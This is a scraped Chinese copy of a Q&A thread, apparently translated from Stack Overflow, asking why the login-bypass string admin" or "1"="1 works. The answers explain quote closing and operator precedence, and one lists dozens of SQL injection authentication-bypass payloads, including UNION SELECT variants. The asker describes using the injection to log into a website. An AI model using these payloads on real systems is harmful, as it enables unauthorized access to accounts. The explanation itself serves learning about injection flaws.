admin”或“1”=“1”是啥意思?

Posted

技术标签:

【中文标题】admin”或“1”=“1”是啥意思?【英文标题】:What is the meaning of admin" or "1"="1?admin”或“1”=“1”是什么意思? 【发布时间】:2018-12-08 23:48:50 【问题描述】:

我在一个网站上运行了admin" or "1"="1,我拥有运行 SQL 注入的完全权限。网站配置错误,让我直接登录。

我不明白的是,为什么在最后的数字 1 之后不需要双引号?

如果 php 是这样工作的:username="admin" and password=md5("password"),那么 admin" 之后的引号将关闭第一个引号。

"1" is closed, but I don't understand "1

谁能帮我解释一下?

提前致谢

【问题讨论】:

【参考方案1】:

想想应用程序中的 SQL 查询可能是什么。

如您所说,可能类似于select * from users where username="<<username>>" and password=md5("<<password>>")

注入<<username>><<password>>后,还需要有一个有效的SQL查询,否则应用会失败并报错。

使用<<username>> 进行注入,admin 后的引号关闭用户名字符串,or "1"="1 使查询如下:

select * from users where username="admin" or "1"="1" and password=md5("<<password>>")

这是有效的,并且由于and 的优先级高于or,它会获取一个名为“admin”的用户,或者具有您在另一个字段中输入的密码的用户 - 没关系。

如果注入字符串的末尾有引号,则查询为select * from users where username="admin" or "1"="1"" and password=md5("<<password>>"),由于两个引号,这是无效的SQL(很容易看到,因为引号的数量是奇数)。

【讨论】:

【参考方案2】:

final 1 之后的双引号将被应用程序中的 SQL 查询关闭。

【讨论】:

【参考方案3】:

SQL 注入模式 或 1=1

或 1=1--

或 1=1#

或 1=1/*

管理员'--

管理员'#

管理员/*

管理员'或'1'='1

admin' 或 '1'='1'--

admin' 或 '1'='1'#

admin' 或 '1'='1'/*

admin'or 1=1 or ''='

admin' 或 1=1

admin' 或 1=1--

admin' 或 1=1#

admin' 或 1=1/*

admin') 或 ('1'='1

admin') 或 ('1'='1'--

admin') 或 ('1'='1'#

admin') 或 ('1'='1'/*

admin') 或 '1'='1

admin') 或 '1'='1'--

admin') 或 '1'='1'#

admin') 或 '1'='1'/*

1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

管理员“--

管理员“#

管理员"/*

admin" 或 "1"="1

admin" 或 "1"="1"--

admin" 或 "1"="1"#

admin" 或 "1"="1"/*

admin"或 1=1 或 ""="

管理员" 或 1=1

admin" 或 1=1--

admin" 或 1=1#

admin" 或 1=1/*

admin") 或 ("1"="1

admin") 或 ("1"="1"--

admin") 或 ("1"="1"#

admin") 或 ("1"="1"/*

admin") 或 "1"="1

admin") 或 "1"="1"--

admin") 或 "1"="1"#

admin") 或 "1"="1"/*

1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

希望对你有帮助

【讨论】:

您好!虽然这段代码可以解决问题,including an explanation 解决问题的方式和原因确实有助于提高帖子的质量,并可能导致更多的赞成票。请记住,您正在为将来的读者回答问题,而不仅仅是现在提出问题的人。请edit您的答案添加解释并说明适用的限制和假设。 我还建议您格式化代码以使其更易于阅读

以上是关于admin”或“1”=“1”是啥意思?的主要内容,如果未能解决你的问题,请参考以下文章

admin 这个是啥意思?

Django 中的 r'^admin/' , 请问中间的斜杠 / 是啥意思, 有啥作用?

loca-user admin password simple 123456是啥意思?

打印机有问题,“一个文档待打印,原因为admin,请问是啥意思,如何解决? ”

Invlid Checksum 是啥意思的啊?

crash中文是啥意思